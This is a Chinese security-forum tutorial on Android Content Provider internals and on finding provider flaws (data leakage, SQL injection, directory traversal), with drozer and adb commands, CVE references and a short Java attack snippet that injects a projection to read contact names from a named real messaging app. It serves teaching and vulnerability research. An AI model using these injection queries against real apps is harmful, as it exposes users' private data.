首页
社区
课程
招聘
[原创]Android APP漏洞之战(4)——Content Provider漏洞详解
发表于: 2021-9-22 13:52 35877

[原创]Android APP漏洞之战(4)——Content Provider漏洞详解

2021-9-22 13:52
35877

今天总结Android APP四大组件中Content Provider挖掘的知识,主要分为两个部分,一部分是对Android Content Provider内容提供器的原理总结,另一部分便是对Android provider机制常见的一些漏洞总结,包括一些已知的漏洞方法,和一部分案例实践。

image-20210922094010216

image-20210922094010216

image-20210922094010216

Content Provider可以使得不同APP进程之间进行数据交互和共享,即跨进程通信

我们创建一个Content Provider,其他的应用可以通过使用ContentResolver来访问ContentProvider提供的数据,而ContentResolver通过uri来定位自己要访问的数据,所以我们要先了解URI

URI的介绍:

image-20210922094010216

构建URI的路径:

URI各部分的获取:

我们给出一个URI的样例:

我们介意使用一些方法来获取URI的各个部分:

MIME是指定某个扩展名的文件用一种应用程序打开,就像用浏览器查看PDF格式的文件,浏览器会选择合适的应用打开。ContentProvider 会根据 URI 来返回 MIME 类型,ContentProvider 会返回一个包含两部分的字符串。MIME 类型一般包含两部分,如:

分为类型和子类型,Android 遵循类似的约定来定义MIME类型,每个内容类型的 Android MIME 类型有两种形式:多条记录(集合)和单条记录。

vnd 表示这些类型和子类型具有非标准的、供应商特定的形式。Android中类型已经固定好了,不能更改,只能区别是集合还是单条具体记录,子类型可以按照格式自己填写,在使用 Intent 时,会用到 MIME,根据 Mimetype 打开符合条件的活动。

这里URI代表要操作的数据,我们在对数据进行获取时需要解析URI,Android提供了两个操作URI的工具类:UriMatcher 和 ContentUris

UriMatcher:

UriMatcher类用于匹配Uri,使用步骤如下:

此处采用 addURI 注册了两个需要用到的 URI;注意,添加第二个 URI 时,路径后面的 id 采用了通配符形式 “#”,表示只要前面三个部分都匹配上了就 OK

补充:

ContentUris:

ContentUris类用于操作Uri路径后面的ID部分,有两个比较实用的方法:withAppendedId(Uri uri, long id)和parseId(Uri uri)

ContentProvider是一个抽象类,我们需要开发自己的内容提供者就需要继承这个类并复写其方法:

如果操作的数据属于集合类型,那么 MIME 类型字符串应该以 vnd.android.cursor.dir/ 开头:

如果要操作的数据属于非集合类型数据,那么 MIME 类型字符串应该以 vnd.android.cursor.item/ 开头:

当外部应用需要对ContentProvider中的数据进行添加、删除、修改及查询操作时,可以使用ContentResolver类来完成,要获取ContentResolver对象,可以使用Activity提供getContentResolver()

ContentResolver类提供了与ContentProvider类相同签名的四个方法:

image-20210922094010216

这些方法的第一个参数为Uri,代表要操作的ContentProvider和对其中的什么数据进行操作,其实和ContentProvider里面的方法是一样的,最终会被传到我们之前程序里面定义的ContentProvider方法。

使用ContentResolver对ContentProvider中的数据进行操作:

监听数据变化:

如果ContentProvider的访问者需要知道数据发生的变化,可以在ContentProvider发生数据变化时调用getContentResolver().notifyChange(uri, null)来通知注册在此URI上的访问者。只给出类中监听部分的代码:

而访问者必须使用ContentObserver对数据(数据采用uri描述)进行监听,当监听到数据变化通知时,系统就会调用ContentObserver的onChange()方法:

image-20210922094010216

创建内容提供者的基本流程:

Content Provoder漏洞大致可以分为:

image-20210922104352070

Content Provider漏洞的危害:

先检测组件的exported属性,再检测组件permission、readPermission、writePermissio对应的protectionlevel,最后再检测sdk版本

image-20210922124628055

image-20210922125010622

如上,可以拼接出:

我们下面将结合这三种方法来对一些常见的案例进行漏洞挖掘介绍

案例1:盛大有你Android存在信息泄露漏洞

目标代码:

攻击代码:

代码分析:

我们可以分析目标程序的provider的进程名和授权的的URI,我们可以根据授权的URI来构建一个URI,然后通过contentresolver去读取里面的的列表名信息,这样我们就可以获取APP中的隐私数据信息。

案例2:样例sieve.apk

我们先向apk中添加一条数据,然后保存:

image-20210922111855304

我们先使用drozer对内容提供器的路径进行扫描:

报错:drozer could not find or compile a required extension library

这是由于我们drozer2.7中代码导致的,我们需要修改相应的代码,参考网址(https://github.com/FSecureLABS/drozer/issues/361 )

image-20210922111855304

image-20210922111855304

我们可以对敏感数据读取:

image-20210922112523603

我们就成功的将我们刚才保存的账号密码信息给获取了

案例3:CVE-2018-9546: Download Provider文件头信息泄露

漏洞描述:

目标代码:

攻击代码:

由于header的URI并未做一些防护措施,我们可以将download_id取具体的值,然后来获取里面的具体信息

案例1:安全管家客户端存在SQL注入攻击

漏洞说明:

Androidmanifest文件中定义的provider:

image-20210922112523603

使用drozer扫描客户端程序存在的contentProvider uri:

image-20210922112523603

搜索到对外暴露可访问的uri:

image-20210922112523603

newapp.db结构:

image-20210922112523603

查看新安装应用的包名:

image-20210922112523603

查看白名单:

image-20210922112523603

image-20210922112523603

案例2:样本sieve

我们使用drozer扫描注入的位置:

image-20210922112523603

然后我们执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据

image-20210922112523603

列出所有表信息:

image-20210922112523603

获取具体表信息

image-20210922112523603

列出该app的表信息

image-20210922112523603

案例3:CVE-2018-9493: Download Provider SQL注入

漏洞分析:

目标代码:

image-20210922131649440

攻击代码:

详细可以参考该作者博客:(https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)

漏洞触发的前提条件:

案例1:赶集网Android客户端Content Provider组件任意文件读取漏洞

漏洞分析:

攻击代码:

案例2:样本sieve

我们检测文件遍历漏洞:

image-20210922131649440

我们读取系统文件:

image-20210922131649440

我们下载系统文件:

image-20210922131649440

案例3:

目标代码:

我们可以从目标代码中分析,这段代码使用android.net.Uri.getLastPathSegment()从paramUri中获取文件名,然后将其放置在预定义好的目录IMAGE_DIRECTORY中,如果该URL是encoded编码后的,那么将可能导致目录遍历漏洞

Android4.3开始,Uri.getLastPathSegment()内部实现调用Uri.getPathSegments()

Uri.getPathSegments首先会通过getEncoded()获取一个路径,然后以”/“为分隔符将path分成片段,最后调用decode()方法解码

假如我们传递encoded编码后的url给getLastPathSegment(),编码后的分隔符就变成了%2F,绕过了内部的分割规则,那么返回的就可能不是真正想要的文件了。这是API设计方面的问题,直接导致了目录遍历漏洞

为了避免这种情况导致的目录遍历漏洞,开发者应该在传递给getLastPathSegment()之前解码,采用调用两次getLastPathSegment()方法的方式,第一次调用是为了解码,第二次调用期望得到正确的值这一部分大家可以详细参考博客:(https://tea9.xyz/post/758430476.html)

本文对Content Provider内容提供器的基本原理做了一个详细讲解,然后对Provider常见的一些漏洞情况作了分析,这里面一部分漏洞来自于漏洞平台,一部分来自于网上的博客收集总结,还提供了一个样例sieve.apk,初步的实现信息泄露、SQL注入、目录遍历漏洞的基本操作方式,也介绍了一般挖掘provider漏洞的基本方法,其中关于drozer的具体操作使用,大家可以参考之前的博客:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF,当然可能对于Provider中的漏洞介绍还不是很全面,其他的就请各位大佬指正了。
github首页:github

Content Provider原理介绍

Content Provider漏洞挖掘

Android中的数据存储方式:Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享,对于不同应用之间共享数据,就要借助Content Provider。
ContentProvider为存储和读取数据提供了统一的接口,使用表的形式来对数据进行封装,使用ContentProvider可以在不同的应用程序之间共享数据,统一数据的访问方式,保证数据的安全性。
Android中的数据存储方式:Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享,对于不同应用之间共享数据,就要借助Content Provider。
ContentProvider为存储和读取数据提供了统一的接口,使用表的形式来对数据进行封装,使用ContentProvider可以在不同的应用程序之间共享数据,统一数据的访问方式,保证数据的安全性。
 
 
1)定义:Uniform Resource Identifier,即统一资源标识符
2)作用:唯一标识ContentProvider &其中的数据
3)外界进程通过URL找到对应的ContentProvider &其中数据,再进行数据操作
1)定义:Uniform Resource Identifier,即统一资源标识符
2)作用:唯一标识ContentProvider &其中的数据
3)外界进程通过URL找到对应的ContentProvider &其中数据,再进行数据操作
1)标准前缀:content:// ,用来说明一个Content Provider控制这些数据
2)URL的标识:com.carson.provider, 用于唯一标识这个ContentProvider,外部调用者可以根据这个标识来找到它。对于第三方程序,为了保证URL标识的一致性,必须是一个完整的、小写的类名,这个标识在元素的authorities属性中说明,一般是定义该ContentProvider的包.类的名称
3)路径:User,要操作的数据库中表的名字,或者可以自己定义,记得在使用的时候保持一致
4)记录ID:id, 如果URL中包含表示需要获取的记录ID,则返回该id对应的数据,如果没有ID,就表示返回全部
1)标准前缀:content:// ,用来说明一个Content Provider控制这些数据
2)URL的标识:com.carson.provider, 用于唯一标识这个ContentProvider,外部调用者可以根据这个标识来找到它。对于第三方程序,为了保证URL标识的一致性,必须是一个完整的、小写的类名,这个标识在元素的authorities属性中说明,一般是定义该ContentProvider的包.类的名称
3)路径:User,要操作的数据库中表的名字,或者可以自己定义,记得在使用的时候保持一致
4)记录ID:id, 如果URL中包含表示需要获取的记录ID,则返回该id对应的数据,如果没有ID,就表示返回全部
1)操作User表中id11的记录,构建数据:/User/11
2)操作User表中id11的记录的name字段:User/11/name
3)操作User表中的所有记录:/User
4)操作来自文件、xml或网络其他存储方式的数据,如要操作xml文件中User节点下的name字段:/User/name
5)若要将一个字符串转换成URI,可以使用Uri类中的parse()方法:
    Uri uri = Uri.parse("content://com.carson.provider/User");
1)操作User表中id11的记录,构建数据:/User/11
2)操作User表中id11的记录的name字段:User/11/name
3)操作User表中的所有记录:/User
4)操作来自文件、xml或网络其他存储方式的数据,如要操作xml文件中User节点下的name字段:/User/name
5)若要将一个字符串转换成URI,可以使用Uri类中的parse()方法:
    Uri uri = Uri.parse("content://com.carson.provider/User");
 
http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack
http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack
getScheme():获取 Uri 中的 scheme 字符串部分,在这里是 http
getHost():获取 Authority 中的 Host 字符串,即 www.baidu.com
getPost():获取 Authority 中的 Port 字符串,即 8080
getPath():获取 Uri 中 path 部分,即 wenku/jiatiao.html
getQuery():获取 Uri 中的 query 部分,即 id=15&name=jack
getScheme():获取 Uri 中的 scheme 字符串部分,在这里是 http
getHost():获取 Authority 中的 Host 字符串,即 www.baidu.com
getPost():获取 Authority 中的 Port 字符串,即 8080
getPath():获取 Uri 中 path 部分,即 wenku/jiatiao.html
getQuery():获取 Uri 中的 query 部分,即 id=15&name=jack
text/html
text/css
text/xml
application/pdf
text/html
text/css
text/xml
application/pdf
vnd.android.cursor.dir/自定义
vnd.android.cursor.dir/自定义
vnd.android.cursor.item/自定义
vnd.android.cursor.item/自定义
 
 
//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码
UriMatcher  sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路径,返回匹配码为1
sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);
//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路径,返回匹配码为2
sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);
//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码
UriMatcher  sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路径,返回匹配码为1
sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);
//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路径,返回匹配码为2
sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);
 
*:表示匹配任意长度的任意字符
#:表示匹配任意长度的数字
匹配任意表的内容URI格式:
content://com.example.app.provider/*
匹配table表中1任意一行数据的内容URI格式:
content://com.example.app.procider/table/#
*:表示匹配任意长度的任意字符
#:表示匹配任意长度的数字
匹配任意表的内容URI格式:
content://com.example.app.provider/*
匹配table表中1任意一行数据的内容URI格式:
content://com.example.app.procider/table/#
switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) {
    case 1:
      //match 1, todo something
      break;
    case 2
      //match 2, todo something
      break;
    default:
      //match nothing, todo something
     break;
}
switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) {
    case 1:
      //match 1, todo something
      break;
    case 2
      //match 2, todo something
      break;
    default:
      //match nothing, todo something
     break;
}
 
Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
//生成的Uri为:content://com.wang.provider.myprovider/tablename/10
 Uri resultUri = ContentUris.withAppendedId(uri, 10);
Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
//生成的Uri为:content://com.wang.provider.myprovider/tablename/10
 Uri resultUri = ContentUris.withAppendedId(uri, 10);
Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")
//获取的结果为:7
long personid = ContentUris.parseId(uri);
Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")
//获取的结果为:7
long personid = ContentUris.parseId(uri);
ContentProvider 类主要方法的介绍:
public boolean onCreate(),在ContentProvider创建后就会被调用,而ContentProvider是在其它应用第一次访问它时被创建;
public Uri insert(Uri uri, ContentValues values),供外部应用向ContentProvider添加数据;
public int delete(Uri uri, String selection, String[] selectionArgs),供外部应用从ContentProvider删除数据;
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),供外部应用更新ContentProvider中的数据;
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),供外部应用从ContentProvider中获取数据;
public String getType(Uri uri),返回当前Uri所代表数据的MIME类型;
ContentProvider 类主要方法的介绍:
public boolean onCreate(),在ContentProvider创建后就会被调用,而ContentProvider是在其它应用第一次访问它时被创建;
public Uri insert(Uri uri, ContentValues values),供外部应用向ContentProvider添加数据;
public int delete(Uri uri, String selection, String[] selectionArgs),供外部应用从ContentProvider删除数据;
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),供外部应用更新ContentProvider中的数据;
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),供外部应用从ContentProvider中获取数据;
public String getType(Uri uri),返回当前Uri所代表数据的MIME类型;
要得到所有 tablename 记录: Uri 为 content://com.wang.provider.myprovider/tablename,那么返回的MIME类型字符串应该为vnd.android.cursor.dir/table
要得到所有 tablename 记录: Uri 为 content://com.wang.provider.myprovider/tablename,那么返回的MIME类型字符串应该为vnd.android.cursor.dir/table
要得到 id 10 的 tablename 记录,Uri 为 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 类型字符串为:vnd.android.cursor.item/tablename
要得到 id 10 的 tablename 记录,Uri 为 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 类型字符串为:vnd.android.cursor.item/tablename
 
 
public Uri insert(Uri uri, ContentValues values),往ContentProvider添加数据;
 
public int delete(Uri uri, String selection, String[] selectionArgs),从ContentProvider删除数据;
 
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),更新ContentProvider中的数据;
 
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),从ContentProvider中获取数据;
public Uri insert(Uri uri, ContentValues values),往ContentProvider添加数据;
 
public int delete(Uri uri, String selection, String[] selectionArgs),从ContentProvider删除数据;
 
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),更新ContentProvider中的数据;
 
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),从ContentProvider中获取数据;
假定给定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"),
那么将会对主机名为com.wang.provider.myprovider的ContentProvider进行操作,操作的数据为tablename表中id10的记录
假定给定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"),
那么将会对主机名为com.wang.provider.myprovider的ContentProvider进行操作,操作的数据为tablename表中id10的记录
ContentResolver resolver = getContentResolver();
 Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
 //添加一条记录
 ContentValues values = new ContentValues();
 values.put("name", "wang1");
 values.put("age", 28);
 resolver.insert(uri, values);
 //获取tablename表中所有记录
 Cursor cursor = resolver.query(uri, null, null, null, "tablename data");
while(cursor.moveToNext()){
   Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));
}
//id1的记录的name字段值更改新为zhang1
ContentValues updateValues = new ContentValues();
updateValues.put("name", "zhang1");
Uri updateIdUri = ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues, null, null);
//删除id2的记录,即字段age
Uri deleteIdUri = ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri, null, null);
ContentResolver resolver = getContentResolver();
 Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
 //添加一条记录
 ContentValues values = new ContentValues();
 values.put("name", "wang1");
 values.put("age", 28);
 resolver.insert(uri, values);
 //获取tablename表中所有记录
 Cursor cursor = resolver.query(uri, null, null, null, "tablename data");
while(cursor.moveToNext()){
   Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));
}
//id1的记录的name字段值更改新为zhang1
ContentValues updateValues = new ContentValues();
updateValues.put("name", "zhang1");
Uri updateIdUri = ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues, null, null);
//删除id2的记录,即字段age
Uri deleteIdUri = ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri, null, null);
 
public class MyProvider extends ContentProvider {
   public Uri insert(Uri uri, ContentValues values) {
     db.insert("tablename", "tablenameid", values);
      getContext().getContentResolver().notifyChange(uri, null);
   }
}
public class MyProvider extends ContentProvider {
   public Uri insert(Uri uri, ContentValues values) {
     db.insert("tablename", "tablenameid", values);
      getContext().getContentResolver().notifyChange(uri, null);
   }
}
getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"),
        true, new PersonObserver(new Handler()));
 public class PersonObserver extends ContentObserver{
     public PersonObserver(Handler handler) {
       super(handler);
     }
     public void onChange(boolean selfChange) {
        //to do something
     }
 }
getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"),
        true, new PersonObserver(new Handler()));
 public class PersonObserver extends ContentObserver{
     public PersonObserver(Handler handler) {
       super(handler);
     }
     public void onChange(boolean selfChange) {
        //to do something
     }
 }
 
1)创建一个扩展ContentProviderbaseclass的 Content Provider 类
2)定义将用于访问内容的内容提供者 URI 地址
3)创建自己的数据库来保存内容。通常,Android 使用 SQLite 数据库,框架需要覆盖onCreate()方法,该方法将使用 SQLite Open Helper 方法创建或打开提供者的数据库。当您的应用程序启动时,其每个内容提供程序的onCreate()处理程序在主应用程序线程上被调用
4)实现内容提供者查询以执行不同的数据库特定操作
5)最后使用 <provider> 标签在您的活动文件中注册您的内容提供者
1)创建一个扩展ContentProviderbaseclass的 Content Provider 类
2)定义将用于访问内容的内容提供者 URI 地址
3)创建自己的数据库来保存内容。通常,Android 使用 SQLite 数据库,框架需要覆盖onCreate()方法,该方法将使用 SQLite Open Helper 方法创建或打开提供者的数据库。当您的应用程序启动时,其每个内容提供程序的onCreate()处理程序在主应用程序线程上被调用
4)实现内容提供者查询以执行不同的数据库特定操作
5)最后使用 <provider> 标签在您的活动文件中注册您的内容提供者
 
 
Android中Content Provider起到在不同的进程APP之间实现共享数据的作用,通过Binder进程间通信机制以及匿名共享内存机制来实现,但是考虑到数据的安全性,我们需要设置一定的保护权限。
Binder进程间通信机制突破了以应用程序为边界的权限控制,是安全可控的,数据的访问接口由数据的所有者来提供,数据提供方实现安全控制,决定数据的读写操作
而content Provider组件本身提供了读取权限控制,这导致在使用过程中就会存在一些漏洞
Android中Content Provider起到在不同的进程APP之间实现共享数据的作用,通过Binder进程间通信机制以及匿名共享内存机制来实现,但是考虑到数据的安全性,我们需要设置一定的保护权限。
Binder进程间通信机制突破了以应用程序为边界的权限控制,是安全可控的,数据的访问接口由数据的所有者来提供,数据提供方实现安全控制,决定数据的读写操作
而content Provider组件本身提供了读取权限控制,这导致在使用过程中就会存在一些漏洞
 
1)反编译 apk 文件,在AndroidManifest.xml中查找显示设置了android:exported="true"Content Provider
2)使用drozer工具,执行命令:run app.provider.info -a ddns.android.vuls
1)反编译 apk 文件,在AndroidManifest.xml中查找显示设置了android:exported="true"Content Provider
2)使用drozer工具,执行命令:run app.provider.info -a ddns.android.vuls
 
content://ddns.vuls.AccountProvider/account
content://ddns.vuls.AccountProvider/account/
content://ddns.vuls.AccountProvider/account/1
content://ddns.vuls.AccountProvider/account/aaa
content://ddns.vuls.AccountProvider/account
content://ddns.vuls.AccountProvider/account/
content://ddns.vuls.AccountProvider/account/1
content://ddns.vuls.AccountProvider/account/aaa
执行命令 run app.provider.finduri ddns.android.vuls
执行命令 run app.provider.finduri ddns.android.vuls
1.使用adb shell查询
例子:adb shell content query --uri 具体uri
2.使用drozer验证
例子:run app.provider.query "具体uri"
3.编写目标代码
例如:
private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}
1.使用adb shell查询
例子:adb shell content query --uri 具体uri
2.使用drozer验证
例子:run app.provider.query "具体uri"
3.编写目标代码
例如:
private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}
content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个,provider中的一个表,指向表的contentURI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取APP的敏感数据。
content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个,provider中的一个表,指向表的contentURI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取APP的敏感数据。
 
<provider android:name=".providers.YouNiProvider" android:process="com.snda.youni.mms" android:authorities="com.snda.youni.providers.DataStructs"/>
<provider android:name=".providers.YouNiProvider" android:process="com.snda.youni.mms" android:authorities="com.snda.youni.providers.DataStructs"/>
private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}
private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-9-25 15:00 被随风而行aa编辑 ,原因:
上传的附件:
收藏
免费 7
支持
分享
最新回复 (8)
雪    币: 6573
活跃值: (3873)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
2
不错,支持。
2021-9-22 19:51
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
3
LowRebSwrd 不错,支持。
2021-9-22 20:56
0
雪    币: 1367
活跃值: (2121)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
学习一个
2021-9-23 09:38
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
5
危楼高百尺 学习一个
2021-9-23 10:02
0
雪    币: 3176
活跃值: (1786)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
挺好的,加油
2021-9-23 12:58
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
7
MsScotch 挺好的,加油
2021-9-23 13:27
0
雪    币: 690
活跃值: (1826)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
8
挺好的,就是看不懂
2021-9-23 16:13
0
雪    币: 7201
活跃值: (21965)
能力值: ( LV12,RANK:550 )
在线值:
发帖
回帖
粉丝
9
daxia200N 挺好的,就是看不懂
2021-9-23 19:12
0
游客
登录 | 注册 方可回帖
返回
//